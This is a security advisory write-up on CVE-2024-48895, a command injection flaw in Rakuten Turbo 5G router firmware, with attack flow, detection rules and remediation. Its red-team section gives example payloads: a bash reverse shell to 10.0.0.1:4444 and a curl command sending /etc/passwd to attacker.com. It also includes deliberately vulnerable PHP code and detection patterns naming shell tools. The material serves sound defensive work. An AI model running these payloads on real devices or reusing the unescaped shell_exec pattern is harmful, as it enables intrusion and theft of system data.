CVE-2024-48895

Executive Summary

CVE-2024-48895 is a critical OS Command Injection vulnerability (CWE-78) affecting Rakuten Turbo 5G firmware versions V1.3.18 and earlier. The vulnerability allows a remote authenticated attacker to execute arbitrary OS commands on the device. With a CVSS score of 8.8, this flaw poses a severe risk to network integrity and confidentiality. The vendor, Rakuten, has not yet released a patch, leaving affected devices exposed. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the impact is high. No public exploit code or proof-of-concept is available at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. An authenticated attacker can fully compromise the device, potentially pivoting to internal networks.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the Rakuten Turbo 5G router. The application fails to properly sanitize user-supplied input before passing it to an OS command execution function. Specifically, certain parameters in the web interface are concatenated directly into shell commands without proper escaping or validation.

Attack Flow:

1. An attacker gains authenticated access to the router's web interface (e.g., via default credentials or brute-force).
2. The attacker identifies an input field (e.g., in diagnostic tools, ping, traceroute, or firmware update functionality) that is vulnerable to command injection.
3. The attacker injects OS commands using shell metacharacters such as ;, |, &, or backticks.
4. The injected commands are executed with the privileges of the web server (typically root), allowing full control over the device.

Root Cause: Improper neutralization of special elements used in an OS command (CWE-78). The application likely uses functions like system(), exec(), or popen() without sanitizing input.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet is provided:

Vulnerable Code (PHP example):

<?php
$target = $_POST['ip_address'];
$output = shell_exec("ping -c 4 " . $target);
echo "<pre>$output</pre>";
?>

Patched Code (Hypothetical):

<?php
$target = $_POST['ip_address'];
// Validate input: only allow IP addresses
if (!filter_var($target, FILTER_VALIDATE_IP)) {
    die("Invalid IP address");
}
// Use escapeshellarg to prevent injection
$target = escapeshellarg($target);
$output = shell_exec("ping -c 4 " . $target);
echo "<pre>$output</pre>";
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the router's web interface (authenticated).
• Knowledge of a vulnerable parameter (e.g., ip_address in a ping diagnostic tool).

Exploitation Steps:

1. Log in to the router's web interface.
2. Navigate to the vulnerable diagnostic page (e.g., http://<router-ip>/diagnostics/ping).
3. Inject a command in the target field, e.g.:

   127.0.0.1; id
   

4. Observe the output of the id command in the response.

Example Payloads:

• Reverse shell: 127.0.0.1; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
• Data exfiltration: 127.0.0.1; curl http://attacker.com/$(cat /etc/passwd)

No public exploit code is available.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual characters in input fields (e.g., ;, |, &).
• Deploy WAF rules to block command injection patterns.
• Use network monitoring to detect outbound connections from the router to unknown IPs.

Hardening:

• Change default credentials immediately.
• Disable remote management if not required.
• Restrict access to the web interface to trusted IPs only.
• Apply input validation and output encoding in custom scripts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the router to unusual IPs/ports (e.g., 4444/tcp).
  • HTTP requests containing shell metacharacters in POST/GET parameters.
• Host IOCs:
  • Unauthorized processes running on the router (e.g., reverse shells).
  • Modified system binaries or configuration files.
  • Unexpected files in /tmp or /var/run.
• Log IOCs:
  • Web server logs showing commands like id, whoami, cat /etc/passwd in parameters.
  • Authentication logs showing multiple failed login attempts (brute-force).

Detection Engineering

YARA Rule

rule CVE_2024_48895_Rakuten_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Rakuten Turbo 5G"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48895"
    strings:
        $cmd1 = /[;&|`]\s*(id|whoami|cat|ls|bash|sh|nc|curl|wget)/ nocase
        $cmd2 = /(ping|traceroute|nslookup)\s*[;&|`]/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-48895 Rakuten Turbo 5G Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in HTTP requests to Rakuten Turbo 5G routers
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48895
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&'
            - '`'
        cs-method: 'POST'
    condition: selection
falsepositives:
    - Legitimate use of special characters in non-vulnerable parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48895 Rakuten Turbo 5G Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/diagnostics/ping"; http_uri; pcre:"/(?:[;&|`])\s*(?:id|whoami|cat|ls|bash|sh|nc|curl|wget)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the router if not absolutely necessary.
2. Change default credentials to strong, unique passwords.
3. Restrict access to the web interface to trusted IP addresses only.
4. Monitor logs for signs of exploitation.

Long-term Fix:

• Apply a firmware patch from Rakuten as soon as it becomes available.
• Implement input validation and output encoding in the web interface.
• Use parameterized commands or avoid shell execution altogether.

Workarounds:

• If patching is not possible, consider replacing the device with a more secure alternative.
• Use a firewall to block inbound access to the router's management interface from the internet.

Valters IT